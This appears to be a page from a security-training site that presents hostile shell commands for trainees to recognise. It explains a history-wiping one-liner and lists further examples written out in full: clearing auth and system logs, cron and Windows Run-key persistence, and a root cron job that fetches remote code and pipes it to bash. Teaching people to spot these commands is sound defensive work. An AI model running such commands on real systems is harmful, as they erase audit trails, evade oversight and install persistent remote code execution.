Dangerous
history -c && export HISTFILE=/dev/nulllinux · bash · Intermediate
Wipes the in-memory shell history and then redirects the history file to the null device so nothing further is recorded. Neither half touches a file an ordinary user would miss, which is precisely why this pattern shows up right before something worth hiding.
Signals to notice
- Clears command history
- Redirects the history file to /dev/null
- Removes the record of what happened next
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert:> /var/log/syslogAdvanced